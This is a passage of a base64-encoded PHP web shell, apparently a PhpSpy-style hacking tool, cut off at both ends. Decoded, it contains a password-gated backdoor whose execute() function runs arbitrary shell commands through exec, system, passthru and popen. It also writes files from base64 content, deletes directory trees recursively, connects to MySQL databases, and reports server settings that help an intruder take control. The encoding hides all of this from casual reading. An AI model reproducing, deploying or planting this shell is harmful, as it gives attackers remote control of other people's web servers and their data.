ICAgICAgIH0gDQogICAgICAgIHAoJzwvcHJlPicpOyANCiAgICB9IA0KfS8vZW5kIHNoZWxsIA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3BocGVudicpIHsgDQogICAgJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOyANCiAgICAkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsgDQogICAgISRkaXNfZnVuYyAmJiAkZGlzX2Z1bmMgPSAnTm8nOyAgICAgDQogICAgJGluZm8gPSBhcnJheSggDQogICAgICAgIDEgPT4gYXJyYXkoJ1NlcnZlciBUaW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLCANCiAgICAgICAgMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLCANCiAgICAgICAgMyA9PiBhcnJheSgnU2VydmVyIElQJyxnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksIA0KICAgICAgICA0ID0+IGFycmF5KCdTZXJ2ZXIgT1MnLFBIUF9PUyksIA0KICAgICAgICA1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLCANCiAgICAgICAgNiA9PiBhcnJheSgnU2VydmVyIFNvZnR3YXJlJywkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLCANCiAgICAgICAgNyA9PiBhcnJheSgnU2VydmVyIFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksIA0KICAgICAgICA4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksIA0KICAgICAgICA5ID0+IGFycmF5KCdUaGUgZmlsZSBwYXRoJyxfX0ZJTEVfXyksIA0KDQogICAgICAgIDEwID0+IGFycmF5KCdQSFAgVmVyc2lvbicsUEhQX1ZFUlNJT04pLCANCiAgICAgICAgMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oXCdwaHBpbmZvXCcpOyI+WWVzPC9hPicgOiAnTm8nKSksIA0KICAgICAgICAxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwgDQogICAgICAgIDEzID0+IGFycmF5KCdBZG1pbmlzdHJhdG9yJywkYWRtaW5tYWlsKSwgDQogICAgICAgIDE0ID0+IGFycmF5KCdhbGxvd191cmxfZm9wZW4nLGdldGNmZygnYWxsb3dfdXJsX2ZvcGVuJykpLCANCiAgICAgICAgMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksIA0KICAgICAgICAxNiA9PiBhcnJheSgnZGlzcGxheV9lcnJvcnMnLGdldGNmZygnZGlzcGxheV9lcnJvcnMnKSksIA0KICAgICAgICAxNyA9PiBhcnJheSgncmVnaXN0ZXJfZ2xvYmFscycsZ2V0Y2ZnKCdyZWdpc3Rlcl9nbG9iYWxzJykpLCANCiAgICAgICAgMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwgDQogICAgICAgIDE5ID0+IGFycmF5KCdtZW1vcnlfbGltaXQnLGdldGNmZygnbWVtb3J5X2xpbWl0JykpLCANCiAgICAgICAgMjAgPT4gYXJyYXkoJ3Bvc3RfbWF4X3NpemUnLGdldGNmZygncG9zdF9tYXhfc2l6ZScpKSwgDQogICAgICAgIDIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwgDQogICAgICAgIDIyID0+IGFycmF5KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGdldGNmZygnbWF4X2V4ZWN1dGlvbl90aW1lJykuJyBzZWNvbmQocyknKSwgDQogICAgICAgIDIzID0+IGFycmF5KCdkaXNhYmxlX2Z1bmN0aW9ucycsJGRpc19mdW5jKSwgDQogICAgKTsgDQoNCiAgICBpZigkcGhwdmFybmFtZSkgeyANCiAgICAgICAgbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0Y2ZnKCRwaHB2YXJuYW1lKSk7IA0KICAgIH0gDQoNCiAgICBmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2VydmVyIGVudmlyb25tZW50JykpOyANCiAgICBtYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGxlYXNlIGlucHV0IFBIUCBjb25maWd1cmF0aW9uIHBhcmFtZXRlcihlZzptYWdpY19xdW90ZXNfZ3BjKScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5hbWUsJ25ld2xpbmUnPT4xKSk7IA0KICAgIGZvcm1mb290ZXIoKTsgDQoNCiAgICAkaHAgPSBhcnJheSgwPT4gJ1NlcnZlcicsIDE9PiAnUEhQJyk7IA0KICAgIGZvcigkYT0wOyRhPDI7JGErKykgeyANCiAgICAgICAgcCgnPGgyPicuJGhwWyRhXS4nICZyYXF1bzs8L2gyPicpOyANCiAgICAgICAgcCgnPHVsIGNsYXNzPSJpbmZvIj4nKTsgDQogICAgICAgIGlmICgkYT09MCkgeyANCiAgICAgICAgICAgIGZvcigkaT0xOyRpPD05OyRpKyspIHsgDQogICAgICAgICAgICAgICAgcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZWlmICgkYSA9PSAxKSB7IA0KICAgICAgICAgICAgZm9yKCRpPTEwOyRpPD0yMzskaSsrKSB7IA0KICAgICAgICAgICAgICAgIHAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBwKCc8L3VsPicpOyANCiAgICB9IA0KfS8vZW5kIHBocGVudiANCg0KZWxzZSB7IA0KICAgIG0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsgDQp9IA0KDQo/PiANCjwvdGQ+PC90cj48L3RhYmxlPiANCjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZWVlOyI+IA0KICAgIDxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPiANCiAgICBDb3B5cmlnaHQgKEMpIDIwMTEgPGEgaHJlZj0iIiB0YXJnZXQ9Il9ibGFuayI+UGlzVHFvbjwvYT4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4gDQo8L2Rpdj4gDQo8L2JvZHk+IA0KPC9odG1sPiANCg0KPD9waHAgDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IA0KICAgICAgIA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8gDQoNCmZ1bmN0aW9uIG0oJG1zZykgeyANCiAgICBlY2hvICc8ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOiNmMWYxZjE7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3BhZGRpbmc6MTVweDtmb250OjE0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPic7IA0KICAgIGVjaG8gJG1zZzsgDQogICAgZWNobyAnPC9kaXY+JzsgDQp9IA0KZnVuY3Rpb24gc2Nvb2tpZSgka2V5LCAkdmFsdWUsICRsaWZlID0gMCwgJHByZWZpeCA9IDEpIHsgDQogICAgZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7IA0KICAgICRrZXkgPSAoJHByZWZpeCA/ICRhZG1pblsnY29va2llcHJlJ10gOiAnJykuJGtleTsgDQogICAgJGxpZmUgPSAkbGlmZSA/ICRsaWZlIDogJGFkbWluWydjb29raWVsaWZlJ107IA0KICAgICR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7IA0KICAgIHNldGNvb2tpZSgka2V5LCAkdmFsdWUsICR0aW1lc3RhbXArJGxpZmUsICRhZG1pblsnY29va2llcGF0aCddLCAkYWRtaW5bJ2Nvb2tpZWRvbWFpbiddLCAkdXNlcG9ydCk7IA0KfSAgICAgDQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsgDQogICAgJG11bHRpcGFnZSA9ICcnOyANCiAgICBpZigkbnVtID4gJHBlcnBhZ2UpIHsgDQogICAgICAgICRwYWdlID0gMTA7IA0KICAgICAgICAkb2Zmc2V0ID0gNTsgDQogICAgICAgICRwYWdlcyA9IEBjZWlsKCRudW0gLyAkcGVycGFnZSk7IA0KICAgICAgICBpZigkcGFnZSA+ICRwYWdlcykgeyANCiAgICAgICAgICAgICRmcm9tID0gMTsgDQogICAgICAgICAgICAkdG8gPSAkcGFnZXM7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0OyANCiAgICAgICAgICAgICR0byA9ICRjdXJwYWdlICsgJHBhZ2UgLSAkb2Zmc2V0IC0gMTsgDQogICAgICAgICAgICBpZigkZnJvbSA8IDEpIHsgDQogICAgICAgICAgICAgICAgJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207IA0KICAgICAgICAgICAgICAgICRmcm9tID0gMTsgDQogICAgICAgICAgICAgICAgaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsgDQogICAgICAgICAgICAgICAgICAgICR0byA9ICRwYWdlOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7IA0KICAgICAgICAgICAgICAgICRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87IA0KICAgICAgICAgICAgICAgICR0byA9ICRwYWdlczsgDQogICAgICAgICAgICAgICAgaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsgDQogICAgICAgICAgICAgICAgICAgICRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgJG11bHRpcGFnZSA9ICgkY3VycGFnZSAtICRvZmZzZXQgPiAxICYmICRwYWdlcyA+ICRwYWdlID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAxKTsiPkZpcnN0PC9hPiAnIDogJycpLigkY3VycGFnZSA+IDEgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlIC0gMSkuJyk7Ij5QcmV2PC9hPiAnIDogJycpOyANCiAgICAgICAgZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgeyANCiAgICAgICAgICAgICRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsgDQogICAgICAgIH0gDQogICAgICAgICRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsgDQogICAgICAgICRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7IA0KICAgIH0gDQogICAgcmV0dXJuICRtdWx0aXBhZ2U7IA0KfSANCi8vICAgwr0gICAgIA0KZnVuY3Rpb24gbG9naW5wYWdlKCkgeyANCj8+IA0KICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+IA0KICAgIGlucHV0IHtmb250OjExcHggVmVyZGFuYTtCQUNLR1JPVU5EOiAjRkZGRkZGO2hlaWdodDogMThweDtib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30gDQogICAgPC9zdHlsZT4gDQogICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+IA0KICAgIDxzcGFuIHN0eWxlPSJmb250OjExcHggVmVyZGFuYTsiPlBhc3N3b3JkOiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPiANCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9ImxvZ2luIj4gDQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4gDQogICAgPC9mb3JtPiANCjw/cGhwIA0KICAgIGV4aXQ7IA0KfS8vZW5kIGxvZ2lucGFnZSgpIA0KDQpmdW5jdGlvbiBleGVjdXRlKCRjZmUpIHsgDQogICAgJHJlcyA9ICcnOyANCiAgICBpZiAoJGNmZSkgeyANCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgDQogICAgICAgICAgICBAZXhlYygkY2ZlLCRyZXMpOyANCiAgICAgICAgICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7IA0KICAgICAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyANCiAgICAgICAgICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsgDQogICAgICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgDQogICAgICAgICAgICBAb2Jfc3RhcnQoKTsgDQogICAgICAgICAgICBAc3lzdGVtKCRjZmUpOyANCiAgICAgICAgICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IA0KICAgICAgICAgICAgQG9iX2VuZF9jbGVhbigpOyANCiAgICAgICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IA0KICAgICAgICAgICAgQG9iX3N0YXJ0KCk7IA0KICAgICAgICAgICAgQHBhc3N0aHJ1KCRjZmUpOyANCiAgICAgICAgICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IA0KICAgICAgICAgICAgQG9iX2VuZF9jbGVhbigpOyANCiAgICAgICAgfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsgDQogICAgICAgICAgICAkcmVzID0gJyc7IA0KICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgeyANCiAgICAgICAgICAgICAgICAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgIA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIEBwY2xvc2UoJGYpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIHJldHVybiAkcmVzOyANCn0gDQpmdW5jdGlvbiB3aGljaCgkcHIpIHsgDQogICAgJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsgDQogICAgcmV0dXJuICgkcGF0aCA/ICRwYXRoIDogJHByKTsgIA0KfSANCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KXsgDQogICAgaWYoJGZwPUBmb3BlbigkZm5hbWUsJ3cnKSkgeyANCiAgICAgICAgQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOyANCiAgICAgICAgQGZjbG9zZSgkZnApOyANCiAgICB9IA0KfSANCg0KLy8gPyAgICAgICAgPyANCmZ1bmN0aW9uIGRlYnVnaW5mbygpIHsgDQogICAgZ2xvYmFsICRzdGFydHRpbWU7IA0KICAgICRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7IA0KICAgICR0b3RhbHRpbWUgPSBudW1iZXJfZm9ybWF0KCgkbXRpbWVbMV0gKyAkbXRpbWVbMF0gLSAkc3RhcnR0aW1lKSwgNik7IA0KICAgIGVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOyANCn0gDQoNCi8vICAgICAgID8gIA0KZnVuY3Rpb24gZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWU9JycsJGNoYXJzZXQ9JycsJGRicG9ydD0nMzMwNicpIHsgDQogICAgaWYoISRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJGRiaG9zdC4nOicuJGRicG9ydCwgJGRidXNlciwgJGRicGFzcykpIHsgDQogICAgICAgIHAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQogICAgaWYoJGxpbmsgJiYgJGRibmFtZSkgeyANCiAgICAgICAgaWYgKCFAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsICRsaW5rKSkgeyANCiAgICAgICAgICAgIHAoJzxoMj5EYXRhYmFzZSBzZWxlY3RlZCBoYXMgZXJyb3I8L2gyPicpOyANCiAgICAgICAgICAgIGV4aXQ7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgeyANCiAgICAgICAgaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkY2hhcnNldCksIGFycmF5KCdnYmsnLCAnYmlnNScsICd1dGY4JykpKSB7IA0KICAgICAgICAgICAgcSgiU0VUIGNoYXJhY3Rlcl9zZXRfY29ubmVjdGlvbj0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9yZXN1bHRzPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X2NsaWVudD1iaW5hcnk7IiwgJGxpbmspOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIHJldHVybiAkbGluazsgDQp9IA0KDQovLyA/ICA/ICAgPyAgDQpmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsgDQogICAgaWYgKGlzX2FycmF5KCRhcnJheSkpIHsgDQogICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAkayA9PiAkdikgeyANCiAgICAgICAgICAgICRhcnJheVska10gPSBzX2FycmF5KCR2KTsgDQogICAgICAgIH0gDQogICAgfSBlbHNlIGlmIChpc19zdHJpbmcoJGFycmF5KSkgeyANCiAgICAgICAgJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7IA0KICAgIH0gDQogICAgcmV0dXJuICRhcnJheTsgDQp9IA0KDQovLyAgICAgSFRNTCAgICAgDQpmdW5jdGlvbiBodG1sX2NsZWFuKCRjb250ZW50KSB7IA0KICAgICRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7IA0KICAgICRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlxuIiwgIjxiciAvPiIsICRjb250ZW50KTsgDQogICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiICAiLCAiJm5ic3A7Jm5ic3A7IiwgJGNvbnRlbnQpOyANCiAgICAkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7IA0KICAgIHJldHVybiAkY29udGVudDsgDQp9IA0KDQovLyAgID8/ICAgDQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpeyANCiAgICByZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOyANCn0gDQoNCmZ1bmN0aW9uIGdldFBlcm1zKCRmaWxlcGF0aCkgeyANCiAgICAkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVwYXRoKTsgDQogICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30gDQogICAgZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9IA0KICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fSANCiAgICBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30gIA0KICAgIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fSANCiAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30gDQogICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICdwJzt9IA0KICAgIGVsc2UgeyR0eXBlID0gJz8nO30gDQoNCiAgICAkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsgIA0KICAgICRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsgIA0KICAgICRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOyAgDQogICAgJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7ICANCiAgICAkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7ICANCiAgICAkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsgIA0KICAgICR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyAgDQogICAgJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOyAgDQogICAgJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7ICANCg0KICAgIGlmKCAkbW9kZSAmIDB4ODAwICkgeyRvd25lclsnZXhlY3V0ZSddID0gKCRvd25lclsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30gDQogICAgaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fSANCiAgICBpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9IA0KICANCiAgICByZXR1cm4gJHR5cGUuJG93bmVyWydyZWFkJ10uJG93bmVyWyd3cml0ZSddLiRvd25lclsnZXhlY3V0ZSddLiRncm91cFsncmVhZCddLiRncm91cFsnd3JpdGUnXS4kZ3JvdXBbJ2V4ZWN1dGUnXS4kd29ybGRbJ3JlYWQnXS4kd29ybGRbJ3dyaXRlJ10uJHdvcmxkWydleGVjdXRlJ107IA0KfSANCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpICAgIHsgDQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgeyANCiAgICAgICAgJGFycmF5ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZpbGVwYXRoKSk7IA0KICAgICAgICBpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsgDQogICAgICAgICAgICByZXR1cm4gJyAvIDxhIGhyZWY9IiMiIHRpdGxlPSJVc2VyOiAnLiRhcnJheVsnbmFtZSddLicmIzEzJiMxMFBhc3N3ZDogJy4kYXJyYXlbJ3Bhc3N3ZCddLicmIzEzJiMxMFVpZDogJy4kYXJyYXlbJ3VpZCddLicmIzEzJiMxMGdpZDogJy4kYXJyYXlbJ2dpZCddLicmIzEzJiMxMEdlY29zOiAnLiRhcnJheVsnZ2Vjb3MnXS4nJiMxMyYjMTBEaXI6ICcuJGFycmF5WydkaXInXS4nJiMxMyYjMTBTaGVsbDogJy4kYXJyYXlbJ3NoZWxsJ10uJyI+Jy4kYXJyYXlbJ25hbWUnXS4nPC9hPic7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICcnOyANCn0gDQoNCi8vID8gID/CvCANCmZ1bmN0aW9uIGRlbHRyZWUoJGRlbGRpcikgeyANCiAgICAkbXlkaXI9QGRpcigkZGVsZGlyKTsgICAgIA0KICAgIHdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKSAgICB7ICAgICAgICAgIA0KICAgICAgICBpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsgIA0KICAgICAgICAgICAgQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOyANCiAgICAgICAgICAgIGRlbHRyZWUoJGRlbGRpci4nLycuJGZpbGUpOyAgDQogICAgICAgIH0gDQogICAgICAgIGlmIChpc19maWxlKCRkZWxkaXIuJy8nLiRmaWxlKSkgeyANCiAgICAgICAgICAgIEBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsgDQogICAgICAgICAgICBAdW5saW5rKCRkZWxkaXIuJy8nLiRmaWxlKTsgDQogICAgICAgIH0gDQogICAgfSAgDQogICAgJG15ZGlyLT5jbG9zZSgpOyAgDQogICAgQGNobW9kKCRkZWxkaXIsMDc3Nyk7IA0KICAgIHJldHVybiBAcm1kaXIoJGRlbGRpcikgPyAxIDogMDsgDQp9IA0KDQovLyAgICAgID8gIMSxICAgPyA/IA0KZnVuY3Rpb24gYmcoKSB7IA0KICAgIGdsb2JhbCAkYmdjOyANCiAgICByZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsgDQp9IA0KDQovLyAgID8gID8gICA/ID8/wrcgICANCmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7IA0KICAgIGlmICgkbm93cGF0aCA9PSAnLicpIHsgDQogICAgICAgICRub3dwYXRoID0gJHNjcmlwdHBhdGg7IA0KICAgIH0gDQogICAgJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRub3dwYXRoKTsgDQogICAgJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsgDQogICAgaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgeyANCiAgICAgICAgJG5vd3BhdGggPSAkbm93cGF0aC4nLyc7IA0KICAgIH0gDQogICAgcmV0dXJuICRub3dwYXRoOyANCn0gDQoNCi8vICAgPyAgPz/CvCAgID8gP8K8IA0KZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7IA0KICAgICRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOyANCiAgICAkbnVtID0gY291bnQoJHBhdGhkYik7IA0KICAgIGlmICgkbnVtID4gMikgeyANCiAgICAgICAgdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7IA0KICAgIH0gDQogICAgJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7IA0KICAgICR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOyANCiAgICByZXR1cm4gJHVwcGF0aDsgDQp9IA0KDQovLyAgICAgUEhQICAgw7IgICAgDQpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsgDQogICAgJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKTsgDQogICAgaWYgKCRyZXN1b